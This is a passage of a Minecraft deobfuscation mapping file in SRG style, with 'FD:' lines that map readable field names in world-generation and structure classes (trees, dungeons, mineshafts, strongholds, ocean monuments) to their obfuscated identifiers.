net/minecraft/world/gen/feature/WorldGenBigTree/field_76508_n +FD: net/minecraft/world/gen/feature/WorldGenBigTree/field_175948_j net/minecraft/world/gen/feature/WorldGenBigTree/field_175948_j +FD: net/minecraft/world/gen/feature/WorldGenBigTree/rand net/minecraft/world/gen/feature/WorldGenBigTree/field_175949_k +FD: net/minecraft/world/gen/feature/WorldGenBigTree/world net/minecraft/world/gen/feature/WorldGenBigTree/field_175946_l +FD: net/minecraft/world/gen/feature/WorldGenBigTree/basePos net/minecraft/world/gen/feature/WorldGenBigTree/field_175947_m +FD: net/minecraft/world/gen/feature/WorldGenForest/field_181629_a net/minecraft/world/gen/feature/WorldGenForest/field_181629_a +FD: net/minecraft/world/gen/feature/WorldGenForest/field_181630_b net/minecraft/world/gen/feature/WorldGenForest/field_181630_b +FD: net/minecraft/world/gen/feature/WorldGenForest/useExtraRandomHeight net/minecraft/world/gen/feature/WorldGenForest/field_150531_a +FD: net/minecraft/world/gen/feature/WorldGenBlockBlob/field_150545_a net/minecraft/world/gen/feature/WorldGenBlockBlob/field_150545_a +FD: net/minecraft/world/gen/feature/WorldGenBlockBlob/field_150544_b net/minecraft/world/gen/feature/WorldGenBlockBlob/field_150544_b +FD: net/minecraft/world/gen/feature/WorldGeneratorBonusChest/chestItems net/minecraft/world/gen/feature/WorldGeneratorBonusChest/field_175909_a +FD: net/minecraft/world/gen/feature/WorldGeneratorBonusChest/itemsToGenerateInBonusChest net/minecraft/world/gen/feature/WorldGeneratorBonusChest/field_76545_b +FD: net/minecraft/world/gen/GeneratorBushFeature/field_175908_a net/minecraft/world/gen/GeneratorBushFeature/field_175908_a +FD: net/minecraft/world/gen/feature/WorldGenClay/field_150546_a net/minecraft/world/gen/feature/WorldGenClay/field_150546_a +FD: net/minecraft/world/gen/feature/WorldGenClay/numberOfBlocks net/minecraft/world/gen/feature/WorldGenClay/field_76517_b +FD: net/minecraft/world/gen/feature/WorldGenDesertWells/field_175913_a net/minecraft/world/gen/feature/WorldGenDesertWells/field_175913_a +FD: net/minecraft/world/gen/feature/WorldGenDesertWells/field_175911_b net/minecraft/world/gen/feature/WorldGenDesertWells/field_175911_b +FD: net/minecraft/world/gen/feature/WorldGenDesertWells/field_175912_c net/minecraft/world/gen/feature/WorldGenDesertWells/field_175912_c +FD: net/minecraft/world/gen/feature/WorldGenDesertWells/field_175910_d net/minecraft/world/gen/feature/WorldGenDesertWells/field_175910_d +FD: net/minecraft/world/gen/feature/WorldGenDoublePlant/field_150549_a net/minecraft/world/gen/feature/WorldGenDoublePlant/field_150549_a +FD: net/minecraft/world/gen/feature/WorldGenerator/doBlockNotify net/minecraft/world/gen/feature/WorldGenerator/field_76488_a +FD: net/minecraft/world/gen/feature/WorldGenFlowers/flower net/minecraft/world/gen/feature/WorldGenFlowers/field_150552_a +FD: net/minecraft/world/gen/feature/WorldGenFlowers/field_175915_b net/minecraft/world/gen/feature/WorldGenFlowers/field_175915_b +FD: net/minecraft/world/gen/feature/WorldGenShrub/leavesMetadata net/minecraft/world/gen/feature/WorldGenShrub/field_150528_a +FD: net/minecraft/world/gen/feature/WorldGenShrub/woodMetadata net/minecraft/world/gen/feature/WorldGenShrub/field_150527_b +FD: net/minecraft/world/gen/feature/WorldGenHellLava/field_150553_a net/minecraft/world/gen/feature/WorldGenHellLava/field_150553_a +FD: net/minecraft/world/gen/feature/WorldGenHellLava/field_94524_b net/minecraft/world/gen/feature/WorldGenHellLava/field_94524_b +FD: net/minecraft/world/gen/feature/WorldGenBigMushroom/mushroomType net/minecraft/world/gen/feature/WorldGenBigMushroom/field_76523_a +FD: net/minecraft/world/gen/feature/WorldGenIcePath/block net/minecraft/world/gen/feature/WorldGenIcePath/field_150555_a +FD: net/minecraft/world/gen/feature/WorldGenIcePath/basePathWidth net/minecraft/world/gen/feature/WorldGenIcePath/field_150554_b +FD: net/minecraft/world/gen/feature/WorldGenLakes/block net/minecraft/world/gen/feature/WorldGenLakes/field_150556_a +FD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181633_e net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181633_e +FD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181634_f net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181634_f +FD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181635_g net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_181635_g +FD: net/minecraft/world/gen/feature/WorldGenMegaPineTree/useBaseHeight net/minecraft/world/gen/feature/WorldGenMegaPineTree/field_150542_e +FD: net/minecraft/world/gen/feature/WorldGenHugeTrees/baseHeight net/minecraft/world/gen/feature/WorldGenHugeTrees/field_76522_a +FD: net/minecraft/world/gen/feature/WorldGenHugeTrees/woodMetadata net/minecraft/world/gen/feature/WorldGenHugeTrees/field_76520_b +FD: net/minecraft/world/gen/feature/WorldGenHugeTrees/leavesMetadata net/minecraft/world/gen/feature/WorldGenHugeTrees/field_76521_c +FD: net/minecraft/world/gen/feature/WorldGenHugeTrees/extraRandomHeight net/minecraft/world/gen/feature/WorldGenHugeTrees/field_150538_d +FD: net/minecraft/world/gen/feature/WorldGenDungeons/field_175918_a net/minecraft/world/gen/feature/WorldGenDungeons/field_175918_a +FD: net/minecraft/world/gen/feature/WorldGenDungeons/SPAWNERTYPES net/minecraft/world/gen/feature/WorldGenDungeons/field_175916_b +FD: net/minecraft/world/gen/feature/WorldGenDungeons/CHESTCONTENT net/minecraft/world/gen/feature/WorldGenDungeons/field_175917_c +FD: net/minecraft/world/gen/feature/WorldGenMinable/oreBlock net/minecraft/world/gen/feature/WorldGenMinable/field_175920_a +FD: net/minecraft/world/gen/feature/WorldGenMinable/numberOfBlocks net/minecraft/world/gen/feature/WorldGenMinable/field_76541_b +FD: net/minecraft/world/gen/feature/WorldGenMinable/predicate net/minecraft/world/gen/feature/WorldGenMinable/field_175919_c +FD: net/minecraft/world/gen/feature/WorldGenTaiga1/field_181636_a net/minecraft/world/gen/feature/WorldGenTaiga1/field_181636_a +FD: net/minecraft/world/gen/feature/WorldGenTaiga1/field_181637_b net/minecraft/world/gen/feature/WorldGenTaiga1/field_181637_b +FD: net/minecraft/world/gen/feature/WorldGenCanopyTree/field_181640_a net/minecraft/world/gen/feature/WorldGenCanopyTree/field_181640_a +FD: net/minecraft/world/gen/feature/WorldGenCanopyTree/field_181641_b net/minecraft/world/gen/feature/WorldGenCanopyTree/field_181641_b +FD: net/minecraft/world/gen/feature/WorldGenSand/block net/minecraft/world/gen/feature/WorldGenSand/field_150517_a +FD: net/minecraft/world/gen/feature/WorldGenSand/radius net/minecraft/world/gen/feature/WorldGenSand/field_76539_b +FD: net/minecraft/world/gen/feature/WorldGenSavannaTree/field_181643_a net/minecraft/world/gen/feature/WorldGenSavannaTree/field_181643_a +FD: net/minecraft/world/gen/feature/WorldGenSavannaTree/field_181644_b net/minecraft/world/gen/feature/WorldGenSavannaTree/field_181644_b +FD: net/minecraft/world/gen/feature/WorldGenSpikes/baseBlockRequired net/minecraft/world/gen/feature/WorldGenSpikes/field_150520_a +FD: net/minecraft/world/gen/feature/WorldGenLiquids/block net/minecraft/world/gen/feature/WorldGenLiquids/field_150521_a +FD: net/minecraft/world/gen/feature/WorldGenTaiga2/field_181645_a net/minecraft/world/gen/feature/WorldGenTaiga2/field_181645_a +FD: net/minecraft/world/gen/feature/WorldGenTaiga2/field_181646_b net/minecraft/world/gen/feature/WorldGenTaiga2/field_181646_b +FD: net/minecraft/world/gen/feature/WorldGenSwamp/field_181648_a net/minecraft/world/gen/feature/WorldGenSwamp/field_181648_a +FD: net/minecraft/world/gen/feature/WorldGenSwamp/field_181649_b net/minecraft/world/gen/feature/WorldGenSwamp/field_181649_b +FD: net/minecraft/world/gen/feature/WorldGenTallGrass/tallGrassState net/minecraft/world/gen/feature/WorldGenTallGrass/field_175907_a +FD: net/minecraft/world/gen/feature/WorldGenTrees/field_181653_a net/minecraft/world/gen/feature/WorldGenTrees/field_181653_a +FD: net/minecraft/world/gen/feature/WorldGenTrees/field_181654_b net/minecraft/world/gen/feature/WorldGenTrees/field_181654_b +FD: net/minecraft/world/gen/feature/WorldGenTrees/minTreeHeight net/minecraft/world/gen/feature/WorldGenTrees/field_76533_a +FD: net/minecraft/world/gen/feature/WorldGenTrees/vinesGrow net/minecraft/world/gen/feature/WorldGenTrees/field_76531_b +FD: net/minecraft/world/gen/feature/WorldGenTrees/metaWood net/minecraft/world/gen/feature/WorldGenTrees/field_76532_c +FD: net/minecraft/world/gen/feature/WorldGenTrees/metaLeaves net/minecraft/world/gen/feature/WorldGenTrees/field_76530_d +FD: net/minecraft/world/gen/FlatGeneratorInfo/flatLayers net/minecraft/world/gen/FlatGeneratorInfo/field_82655_a +FD: net/minecraft/world/gen/FlatGeneratorInfo/worldFeatures net/minecraft/world/gen/FlatGeneratorInfo/field_82653_b +FD: net/minecraft/world/gen/FlatGeneratorInfo/biomeToUse net/minecraft/world/gen/FlatGeneratorInfo/field_82654_c +FD: net/minecraft/world/gen/FlatLayerInfo/field_175902_a net/minecraft/world/gen/FlatLayerInfo/field_175902_a +FD: net/minecraft/world/gen/FlatLayerInfo/layerMaterial net/minecraft/world/gen/FlatLayerInfo/field_175901_b +FD: net/minecraft/world/gen/FlatLayerInfo/layerCount net/minecraft/world/gen/FlatLayerInfo/field_82664_a +FD: net/minecraft/world/gen/FlatLayerInfo/layerMinimumY net/minecraft/world/gen/FlatLayerInfo/field_82661_d +FD: net/minecraft/world/gen/structure/StructureBoundingBox$1/field_175895_a net/minecraft/world/gen/structure/StructureBoundingBox$1/field_175895_a +FD: net/minecraft/world/gen/structure/StructureBoundingBox/minX net/minecraft/world/gen/structure/StructureBoundingBox/field_78897_a +FD: net/minecraft/world/gen/structure/StructureBoundingBox/minY net/minecraft/world/gen/structure/StructureBoundingBox/field_78895_b +FD: net/minecraft/world/gen/structure/StructureBoundingBox/minZ net/minecraft/world/gen/structure/StructureBoundingBox/field_78896_c +FD: net/minecraft/world/gen/structure/StructureBoundingBox/maxX net/minecraft/world/gen/structure/StructureBoundingBox/field_78893_d +FD: net/minecraft/world/gen/structure/StructureBoundingBox/maxY net/minecraft/world/gen/structure/StructureBoundingBox/field_78894_e +FD: net/minecraft/world/gen/structure/StructureBoundingBox/maxZ net/minecraft/world/gen/structure/StructureBoundingBox/field_78892_f +FD: net/minecraft/world/gen/structure/MapGenMineshaft/field_82673_e net/minecraft/world/gen/structure/MapGenMineshaft/field_82673_e +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$1/field_175894_a net/minecraft/world/gen/structure/StructureMineshaftPieces$1/field_175894_a +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/hasRails net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/field_74958_a +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/hasSpiders net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/field_74956_b +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/spawnerPlaced net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/field_74957_c +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/sectionCount net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/field_74955_d +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/corridorDirection net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/field_74953_a +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/isMultipleFloors net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/field_74952_b +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/roomsLinkedToTheRoom net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/field_74949_a +FD: net/minecraft/world/gen/structure/StructureMineshaftPieces/CHEST_CONTENT_WEIGHT_LIST net/minecraft/world/gen/structure/StructureMineshaftPieces/field_175893_a +FD: net/minecraft/world/gen/structure/MapGenNetherBridge/spawnList net/minecraft/world/gen/structure/MapGenNetherBridge/field_75060_e +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$1/field_175888_a net/minecraft/world/gen/structure/StructureNetherBridgePieces$1/field_175888_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/fillSeed net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/field_74972_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/field_111021_b net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/field_111021_b +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/field_111020_b net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/field_111020_b +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/hasSpawner net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/field_74976_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/field_111019_a net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/field_111019_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/weightClass net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78828_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78826_b net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78826_b +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78827_c net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78827_c +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78824_d net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78824_d +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78825_e net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/field_78825_e +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/theNetherBridgePieceWeight net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/field_74970_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/primaryWeights net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/field_74968_b +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/secondaryWeights net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/field_74969_c +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/field_74967_d net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/field_74967_d +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/primaryComponents net/minecraft/world/gen/structure/StructureNetherBridgePieces/field_78742_a +FD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/secondaryComponents net/minecraft/world/gen/structure/StructureNetherBridgePieces/field_78741_b +FD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/field_175791_c net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/field_175791_c +FD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/field_175790_d net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/field_175790_d +FD: net/minecraft/world/gen/structure/StructureOceanMonument/field_175802_d net/minecraft/world/gen/structure/StructureOceanMonument/field_175802_d +FD: net/minecraft/world/gen/structure/StructureOceanMonument/field_175800_f net/minecraft/world/gen/structure/StructureOceanMonument/field_175800_f +FD: net/minecraft/world/gen/structure/StructureOceanMonument/field_175801_g net/minecraft/world/gen/structure/StructureOceanMonument/field_175801_g +FD: net/minecraft/world/gen/structure/StructureOceanMonument/field_175803_h net/minecraft/world/gen/structure/StructureOceanMonument/field_175803_h +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$1/field_175971_a net/minecraft/world/gen/structure/StructureOceanMonumentPieces$1/field_175971_a +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175845_o net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175845_o +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175844_p net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175844_p +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175843_q net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/field_175843_q +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175828_a net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175828_a +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175826_b net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175826_b +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175827_c net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175827_c +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175824_d net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175824_d +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175825_e net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175825_e +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175822_f net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175822_f +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175823_g net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175823_g +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175831_h net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175831_h +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175832_i net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175832_i +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175829_j net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175829_j +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175830_k net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/field_175830_k +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleRoom/field_175833_o net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleRoom/field_175833_o +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$WingRoom/field_175834_o net/minecraft/world/gen/structure/StructureOceanMonumentPieces$WingRoom/field_175834_o +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175967_a net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175967_a +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175965_b net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175965_b +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175966_c net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175966_c +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175963_d net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175963_d +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175964_e net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175964_e +FD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175962_f net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/field_175962_f +FD: net/minecraft/world/gen/structure/MapGenScatteredFeature/biomelist net/minecraft/world/gen/structure/MapGenScatteredFeature/field_75061_e +FD: net/minecraft/world/gen/structure/MapGenScatteredFeature/scatteredFeatureSpawnList net/minecraft/world/gen/structure/MapGenScatteredFeature/field_82668_f +FD: net/minecraft/world/gen/structure/MapGenScatteredFeature/maxDistanceBetweenScatteredFeatures net/minecraft/world/gen/structure/MapGenScatteredFeature/field_82669_g +FD: net/minecraft/world/gen/structure/MapGenScatteredFeature/minDistanceBetweenScatteredFeatures net/minecraft/world/gen/structure/MapGenScatteredFeature/field_82670_h +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$1/field_175956_a net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$1/field_175956_a +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/hasPlacedChest net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/field_74940_h +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/itemsToGenerateInTemple net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/field_74941_i +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/placedMainChest net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_74947_h +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/placedHiddenChest net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_74948_i +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/placedTrap1 net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_74945_j +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/placedTrap2 net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_74946_k +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_175816_i net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_175816_i +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_175815_j net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_175815_j +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/junglePyramidsRandomScatteredStones net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/field_74942_n +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/scatteredFeatureSizeX net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/field_74939_a +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/scatteredFeatureSizeY net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/field_74937_b +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/scatteredFeatureSizeZ net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/field_74938_c +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/field_74936_d net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/field_74936_d +FD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/hasWitch net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/field_82682_h +FD: net/minecraft/world/gen/structure/MapGenStronghold/field_151546_e net/minecraft/world/gen/structure/MapGenStronghold/field_151546_e +FD: net/minecraft/world/gen/structure/MapGenStronghold/ranBiomeCheck net/minecraft/world/gen/structure/MapGenStronghold/field_75056_f +FD: net/minecraft/world/gen/structure/MapGenStronghold/structureCoords net/minecraft/world/gen/structure/MapGenStronghold/field_75057_g +FD: net/minecraft/world/gen/structure/MapGenStronghold/field_82671_h net/minecraft/world/gen/structure/MapGenStronghold/field_82671_h +FD: net/minecraft/world/gen/structure/MapGenStronghold/field_82672_i net/minecraft/world/gen/structure/MapGenStronghold/field_82672_i +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$3/field_75245_a net/minecraft/world/gen/structure/StructureStrongholdPieces$3/field_75245_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$3/field_175951_b net/minecraft/world/gen/structure/StructureStrongholdPieces$3/field_175951_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/strongholdChestContents net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/field_75003_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/hasMadeChest net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/field_75002_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/field_74993_a net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/field_74993_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74996_b net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74996_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74997_c net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74997_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74995_d net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74995_d +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74999_h net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/field_74999_h +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/strongholdLibraryChestContents net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/field_75007_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/isLargeRoom net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/field_75008_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/pieceClass net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/field_75194_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/pieceWeight net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/field_75192_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/instancesSpawned net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/field_75193_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/instancesLimit net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/field_75191_d +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/hasSpawner net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/field_75005_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/roomType net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/field_75013_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/strongholdRoomCrossingChestContents net/minecraft/world/gen/structure/StructureStrongholdPieces$RoomCrossing/field_75014_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/field_75024_a net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs/field_75024_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/strongholdPieceWeight net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/field_75027_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/strongholdPortalRoom net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/field_75025_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/field_75026_c net/minecraft/world/gen/structure/StructureStrongholdPieces$Stairs2/field_75026_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/expandsX net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/field_75019_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/expandsZ net/minecraft/world/gen/structure/StructureStrongholdPieces$Straight/field_75020_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/OPENING net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/OPENING +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/WOOD_DOOR net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/WOOD_DOOR +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/GRATES net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/GRATES +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/IRON_DOOR net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/IRON_DOOR +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/$VALUES net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold$Door/$VALUES +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/field_143013_d net/minecraft/world/gen/structure/StructureStrongholdPieces$Stronghold/field_143013_d +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces/totalWeight net/minecraft/world/gen/structure/StructureStrongholdPieces/field_75207_a +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces/pieceWeightArray net/minecraft/world/gen/structure/StructureStrongholdPieces/field_75205_b +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces/structurePieceList net/minecraft/world/gen/structure/StructureStrongholdPieces/field_75206_c +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces/strongComponentType net/minecraft/world/gen/structure/StructureStrongholdPieces/field_75203_d +FD: net/minecraft/world/gen/structure/StructureStrongholdPieces/strongholdStones net/minecraft/world/gen/structure/StructureStrongholdPieces/field_75204_e +FD: net/minecraft/world/gen/structure/MapGenStructure$1/field_85169_a net/minecraft/world/gen/structure/MapGenStructure$1/field_85169_a +FD: net/minecraft/world/gen/structure/MapGenStructure$1/field_85167_b net/minecraft/world/gen/structure/MapGenStructure$1/field_85167_b +FD: net/minecraft/world/gen/structure/MapGenStructure$1/field_85168_c net/minecraft/world/gen/structure/MapGenStructure$1/field_85168_c +FD: net/minecraft/world/gen/structure/MapGenStructure$2/field_85165_a net/minecraft/world/gen/structure/MapGenStructure$2/field_85165_a +FD: 